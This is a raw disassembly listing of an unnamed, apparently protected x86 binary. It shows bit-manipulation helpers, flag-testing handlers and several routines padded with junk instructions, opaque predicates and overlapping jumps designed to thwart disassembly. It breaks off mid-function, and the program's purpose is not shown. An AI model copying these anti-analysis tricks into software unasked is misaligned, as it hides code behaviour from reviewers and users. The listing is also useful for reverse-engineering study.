		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0FFFFFFFEh
		push	6
		push	0Ah
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	0FFFFFFEDh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	ecx, 0E1B9593Eh
		mov	[ebp+arg_0], ecx
		push	12h
		push	5
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0
		push	17h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0Bh
		push	2
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494E72
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	1
		push	4
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFE4h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	0FFFFFFFBh
		push	15h
		push	8
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	1
		push	19h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFE7h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_494DD0
		add	esp, 8
		mov	[ebp+arg_0], eax
		push	17h
		push	4
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_494ED4
		add	esp, 0Ch
		mov	[ebp+arg_0], eax
		push	0FFFFFFF8h
		push	5
		push	12h
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_494DFB
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		xor	eax, 59E58FBh
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_494C6D	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_494DD0	proc near		; CODE XREF: sub_490FD0+4Dp
					; sub_490FD0+89p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		jge	short loc_494DE2
		mov	eax, [ebp+arg_4]
		add	eax, 20h
		mov	[ebp+arg_4], eax


loc_494DE2:				; CODE XREF: sub_494DD0+7j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		shr	eax, cl
		mov	ecx, 20h
		sub	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		shl	edx, cl
		or	eax, edx
		pop	ebp
		retn
sub_494DD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_494DFB	proc near		; CODE XREF: sub_490FD0+CFp
					; sub_491135+92p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	[ebp+arg_C], 0
		jge	short loc_494E10
		mov	eax, [ebp+arg_C]
		add	eax, [ebp+arg_4]
		mov	[ebp+arg_C], eax


loc_494E10:				; CODE XREF: sub_494DFB+Aj
		mov	edx, 1
		mov	ecx, [ebp+arg_4]
		shl	edx, cl
		sub	edx, 1
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		shr	eax, cl
		and	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	edx, [ebp+var_4]
		mov	ecx, [ebp+arg_C]
		shr	edx, cl
		mov	ecx, [ebp+arg_4]
		sub	ecx, [ebp+arg_C]
		mov	eax, [ebp+var_4]
		shl	eax, cl
		or	edx, eax
		and	edx, [ebp+var_8]
		mov	[ebp+var_4], edx
		mov	edx, [ebp+var_8]
		mov	ecx, [ebp+arg_8]
		shl	edx, cl
		not	edx
		mov	eax, [ebp+arg_0]
		and	eax, edx
		mov	[ebp+arg_0], eax
		mov	edx, [ebp+var_4]
		mov	ecx, [ebp+arg_8]
		shl	edx, cl
		mov	eax, [ebp+arg_0]
		or	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		mov	esp, ebp
		pop	ebp
		retn
sub_494DFB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_494E72	proc near		; CODE XREF: sub_490FD0+16p
					; sub_490FD0+3Cp ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, 1
		mov	ecx, [ebp+arg_4]
		shl	eax, cl
		sub	eax, 1
		mov	[ebp+var_4], eax
		mov	edx, [ebp+var_4]
		mov	ecx, [ebp+arg_8]
		shl	edx, cl
		mov	[ebp+var_C], edx
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	edx, [ebp+arg_0]
		and	edx, [ebp+var_C]
		mov	ecx, [ebp+arg_8]
		shr	edx, cl
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_4]
		or	eax, [ebp+var_C]
		not	eax
		mov	ecx, [ebp+arg_0]
		and	ecx, eax
		mov	[ebp+arg_0], ecx
		mov	edx, [ebp+var_10]
		mov	ecx, [ebp+arg_8]
		shl	edx, cl
		or	edx, [ebp+var_8]
		mov	eax, [ebp+arg_0]
		or	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		mov	esp, ebp
		pop	ebp
		retn
sub_494E72	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_494ED4	proc near		; CODE XREF: sub_490FD0+29p
					; sub_490FD0+6Cp ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, 1
		mov	ecx, [ebp+arg_4]
		shl	eax, cl
		sub	eax, 1
		mov	ecx, [ebp+arg_8]
		shl	eax, cl
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		not	ecx
		mov	edx, [ebp+arg_0]
		and	edx, ecx
		mov	[ebp+var_4], edx
		mov	eax, 1
		mov	ecx, [ebp+arg_8]
		shl	eax, cl
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		lea	ecx, [edx+ecx-1]
		mov	eax, 1
		shl	eax, cl
		mov	[ebp+var_14], eax
		mov	[ebp+var_8], 0
		jmp	short loc_494F2F
; ---------------------------------------------------------------------------


loc_494F26:				; CODE XREF: sub_494ED4+86j
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx


loc_494F2F:				; CODE XREF: sub_494ED4+50j
		mov	edx, [ebp+var_8]
		cmp	edx, [ebp+arg_4]
		jge	short loc_494F5C
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+var_C]
		test	eax, eax
		jz	short loc_494F4A
		mov	ecx, [ebp+var_4]
		or	ecx, [ebp+var_14]
		mov	[ebp+var_4], ecx


loc_494F4A:				; CODE XREF: sub_494ED4+6Bj
		mov	edx, [ebp+var_C]
		shl	edx, 1
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_14]
		shr	eax, 1
		mov	[ebp+var_14], eax
		jmp	short loc_494F26
; ---------------------------------------------------------------------------


loc_494F5C:				; CODE XREF: sub_494ED4+61j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_494ED4	endp

; ---------------------------------------------------------------------------
		align 10h
; [0000000A BYTES: COLLAPSED FUNCTION unknown_libname_17. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		and	eax, 41h
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		and	eax, 1
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+8]
		and	eax, 40h
		test	eax, eax
		jnz	short loc_494FCC
		mov	ecx, [ebp+8]
		and	ecx, 80h
		neg	ecx
		sbb	ecx, ecx
		inc	ecx
		mov	edx, [ebp+8]
		and	edx, 800h
		neg	edx
		sbb	edx, edx
		inc	edx
		cmp	ecx, edx
		jnz	short loc_494FCC
		mov	dword ptr [ebp-4], 1
		jmp	short loc_494FD3
; ---------------------------------------------------------------------------


loc_494FCC:				; CODE XREF: .text:00494FA1j
					; .text:00494FC1j
		mov	dword ptr [ebp-4], 0


loc_494FD3:				; CODE XREF: .text:00494FCAj
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		and	eax, 80h
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	ecx, [ebp+8]
		and	ecx, 800h
		neg	ecx
		sbb	ecx, ecx
		inc	ecx
		xor	edx, edx
		cmp	eax, ecx
		setnz	dl
		mov	eax, edx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		and	eax, 800h
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		and	eax, 4
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		and	eax, 80h
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		and	eax, 40h
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		and	eax, 41h
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		and	eax, 1
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+8]
		and	eax, 40h
		test	eax, eax
		jnz	short loc_4950A3
		mov	ecx, [ebp+8]
		and	ecx, 80h
		neg	ecx
		sbb	ecx, ecx
		inc	ecx
		mov	edx, [ebp+8]
		and	edx, 800h
		neg	edx
		sbb	edx, edx
		inc	edx
		cmp	ecx, edx
		jnz	short loc_4950A3
		mov	dword ptr [ebp-4], 0
		jmp	short loc_4950AA
; ---------------------------------------------------------------------------


loc_4950A3:				; CODE XREF: .text:00495078j
					; .text:00495098j
		mov	dword ptr [ebp-4], 1


loc_4950AA:				; CODE XREF: .text:004950A1j
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		and	eax, 80h
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	ecx, [ebp+8]
		and	ecx, 800h
		neg	ecx
		sbb	ecx, ecx
		inc	ecx
		xor	edx, edx
		cmp	eax, ecx
		setz	dl
		mov	eax, edx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		and	eax, 800h
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		and	eax, 4
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		and	eax, 80h
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		and	eax, 40h
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		cmp	dword ptr [ebp+0Ch], 0
		setz	al
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49512C	proc near		; DATA XREF: sub_4965D8+11E5o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DEC
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ecx
		mov	ecx, 800h
		mov	ecx, 4
		not	ecx
		bswap	eax
		not	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		dec	ecx
		inc	ecx
		inc	cl
		inc	cl
		inc	cl
		add	ecx, 3
		inc	cl
		inc	cl
		inc	cl
		add	ecx, 0Ah
		inc	cl
		inc	cl
		add	ecx, 0Ah
		dec	ecx
		push	edx
		mov	edx, 4
		add	ecx, edx
		inc	ecx
		pop	edx
		bswap	eax
		and	eax, ecx
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED41C
		xor	ecx, dword_4ED420
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4951C6
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4951C6:				; CODE XREF: sub_49512C+8Fj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D74
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49512C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4951DA	proc near		; DATA XREF: sub_4965D8+1174o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DC0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	dh, 2
		dec	dh
		dec	dh
		and	ah, dh
		mov	dl, 0Eh
		sub	dl, 0FFh
		jo	short loc_49520D
		jl	short loc_49520B


loc_495208:				; CODE XREF: sub_4951DA:loc_49520Bj
					; sub_4951DA:loc_49520Dj
		jmp	short loc_49520F
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_49520B:				; CODE XREF: sub_4951DA+2Cj
		jz	short loc_495208


loc_49520D:				; CODE XREF: sub_4951DA+2Aj
		jmp	short loc_495208
; ---------------------------------------------------------------------------


loc_49520F:				; CODE XREF: sub_4951DA:loc_495208j
		sub	dl, 0FFh
		sub	dl, 0FFh
		sub	dl, 0Ah
		sub	dl, 0FFh
		sub	dl, 0FFh
		sub	dl, 5
		dec	dl
		dec	dl
		dec	dl
		sub	dl, 3
		sub	dl, 0FFh
		dec	dl
		inc	dl
		inc	dl
		inc	dl
		and	al, dl
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3F0
		xor	ecx, dword_4ED3F4
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49525B
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49525B:				; CODE XREF: sub_4951DA+76j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D48
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4951DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49526F	proc near		; DATA XREF: sub_4965D8+FCo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DD0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	0C00h
		pop	ebx
		jo	short loc_4952A5
		jl	short loc_4952A3


loc_49529E:				; CODE XREF: sub_49526F:loc_4952A3j
					; sub_49526F:loc_4952A5j
		jmp	short loc_4952A7
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_4952A3:				; CODE XREF: sub_49526F+2Dj
		jz	short loc_49529E


loc_4952A5:				; CODE XREF: sub_49526F+2Bj
		jmp	short loc_49529E
; ---------------------------------------------------------------------------


loc_4952A7:				; CODE XREF: sub_49526F:loc_49529Ej
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		push	eax
		dec	bh
		dec	bh
		and	eax, 41h
		dec	bh
		sub	bh, 3
		pop	eax
		dec	bh
		and	ah, bh
		mov	edx, 25h
		dec	dl
		sub	dl, 3
		dec	dl
		sub	dl, 17h
		dec	dl
		dec	dl
		dec	dl
		dec	dl
		dec	dl
		jo	short loc_4952E7
		jl	short loc_4952E5


loc_4952E0:				; CODE XREF: sub_49526F:loc_4952E5j
					; sub_49526F:loc_4952E7j
		jmp	short loc_4952E9
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_4952E5:				; CODE XREF: sub_49526F+6Fj
		jz	short loc_4952E0


loc_4952E7:				; CODE XREF: sub_49526F+6Dj
		jmp	short loc_4952E0
; ---------------------------------------------------------------------------


loc_4952E9:				; CODE XREF: sub_49526F:loc_4952E0j
		and	al, dl
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED400
		xor	ecx, dword_4ED404
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_495315
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_495315:				; CODE XREF: sub_49526F+9Bj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D58
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49526F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_495329	proc near		; DATA XREF: sub_4965D8+13D8o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D80
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	1F00h
		pop	ebx
		jo	short loc_49535F
		jl	short loc_49535D


loc_495358:				; CODE XREF: sub_495329:loc_49535Dj
					; sub_495329:loc_49535Fj
		jmp	short loc_495361
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49535D:				; CODE XREF: sub_495329+2Dj
		jz	short loc_495358


loc_49535F:				; CODE XREF: sub_495329+2Bj
		jmp	short loc_495358
; ---------------------------------------------------------------------------


loc_495361:				; CODE XREF: sub_495329:loc_495358j
		sub	bh, 3
		sub	bh, 3
		push	eax
		dec	bh
		dec	bh
		and	eax, 80h
		dec	bh
		sub	bh, 10h
		sub	bh, 5
		pop	eax
		dec	bh
		jo	short loc_495387
		jl	short loc_495385


loc_495380:				; CODE XREF: sub_495329:loc_495385j
					; sub_495329:loc_495387j
		jmp	short loc_495389
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_495385:				; CODE XREF: sub_495329+55j
		jz	short loc_495380


loc_495387:				; CODE XREF: sub_495329+53j
		jmp	short loc_495380
; ---------------------------------------------------------------------------


loc_495389:				; CODE XREF: sub_495329:loc_495380j
		and	ah, bh
		mov	edx, 16h
		dec	dl
		sub	dl, 3
		dec	dl
		sub	dl, 8
		dec	dl
		dec	dl
		dec	dl
		dec	dl
		dec	dl
		jo	short loc_4953AF
		jl	short loc_4953AD


loc_4953A8:				; CODE XREF: sub_495329:loc_4953ADj
					; sub_495329:loc_4953AFj
		jmp	short loc_4953B1
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_4953AD:				; CODE XREF: sub_495329+7Dj
		jz	short loc_4953A8


loc_4953AF:				; CODE XREF: sub_495329+7Bj
		jmp	short loc_4953A8
; ---------------------------------------------------------------------------


loc_4953B1:				; CODE XREF: sub_495329:loc_4953A8j
		and	al, dl
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3B0
		xor	ecx, dword_4ED3B4
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4953DE
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4953DE:				; CODE XREF: sub_495329+AAj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D08
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_495329	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4953F2	proc near		; DATA XREF: sub_4965D8+E9Fo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D94
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Dh
		dec	ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 7
		dec	ch
		dec	ch
		and	ah, ch
		mov	cl, 77h
		sub	cl, 2
		dec	cl
		dec	cl
		dec	cl
		not	cl
		bswap	edx
		not	cl
		bswap	edx
		dec	cl
		dec	cl
		push	eax
		dec	cl
		dec	cl
		sub	cl, 12h
		dec	cl
		dec	cl
		jo	short loc_49545A
		jl	short loc_495458


loc_495455:				; CODE XREF: sub_4953F2:loc_495458j
					; sub_4953F2:loc_49545Aj
		jmp	short loc_49545C
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_495458:				; CODE XREF: sub_4953F2+61j
		jz	short loc_495455


loc_49545A:				; CODE XREF: sub_4953F2+5Fj
		jmp	short loc_495455
; ---------------------------------------------------------------------------


loc_49545C:				; CODE XREF: sub_4953F2:loc_495455j
		and	eax, 40h
		dec	cl
		dec	cl
		dec	cl
		add	cl, 0Eh
		dec	cl
		dec	cl
		and	eax, 41h
		sub	cl, 22h
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		pop	eax
		and	al, cl
		mov	eax, eax
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	ebx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3C4
		xor	ecx, dword_4ED3C8
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4954A9
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4954A9:				; CODE XREF: sub_4953F2+ACj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D1C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4953F2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4954BD	proc near		; DATA XREF: sub_4965D8+921o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DD0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 80h
		jmp	short loc_4954E6
; ---------------------------------------------------------------------------
		mov	ebx, 4


loc_4954E6:				; CODE XREF: sub_4954BD+22j
		mov	ebx, 28h
		not	ebx
		bswap	eax
		not	ebx
		inc	ebx
		inc	ebx
		add	ebx, 0Ah
		inc	ebx
		add	ebx, 7
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		inc	ebx
		pop	ecx
		bswap	eax
		and	eax, ebx
		pop	ebx
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED400
		xor	ecx, dword_4ED404
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_495533
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_495533:				; CODE XREF: sub_4954BD+6Bj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D58
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4954BD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_495547	proc near		; DATA XREF: sub_4965D8+8DDo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DB0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 800h
		jmp	short loc_495570
; ---------------------------------------------------------------------------
		mov	ebx, 80h


loc_495570:				; CODE XREF: sub_495547+22j
		mov	ebx, 72h
		not	ebx
		bswap	eax
		not	ebx
		inc	ebx
		inc	ebx
		add	ebx, 8
		dec	ebx
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		inc	ebx
		pop	ecx
		bswap	eax
		and	eax, ebx
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3E0
		xor	ecx, dword_4ED3E4
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4955B9
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4955B9:				; CODE XREF: sub_495547+67j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D38
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_495547	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4955CD	proc near		; DATA XREF: sub_4965D8+CC3o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D88
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 80h
		jmp	short loc_4955F6
; ---------------------------------------------------------------------------
		mov	ebx, 4


loc_4955F6:				; CODE XREF: sub_4955CD+22j
		mov	ebx, 30h
		dec	esi
		xor	ebx, 41h
		dec	edi
		add	esi, 23h
		add	ebx, 2
		not	ebx
		bswap	eax
		not	ebx
		add	esi, 2
		dec	esi
		dec	esi
		inc	ebx
		dec	esi
		inc	ebx
		dec	esi
		inc	ebx
		inc	ebx
		dec	esi
		inc	ebx
		dec	esi
		inc	ebx
		dec	esi
		inc	ebx
		inc	ebx
		dec	esi
		inc	ebx
		inc	ebx
		dec	esi
		dec	ebx
		dec	esi
		dec	ebx
		push	ecx
		dec	esi
		mov	ecx, 4
		add	ebx, ecx
		inc	ebx
		dec	esi
		pop	ecx
		dec	esi
		bswap	eax
		sub	ebx, 10h
		dec	ebx
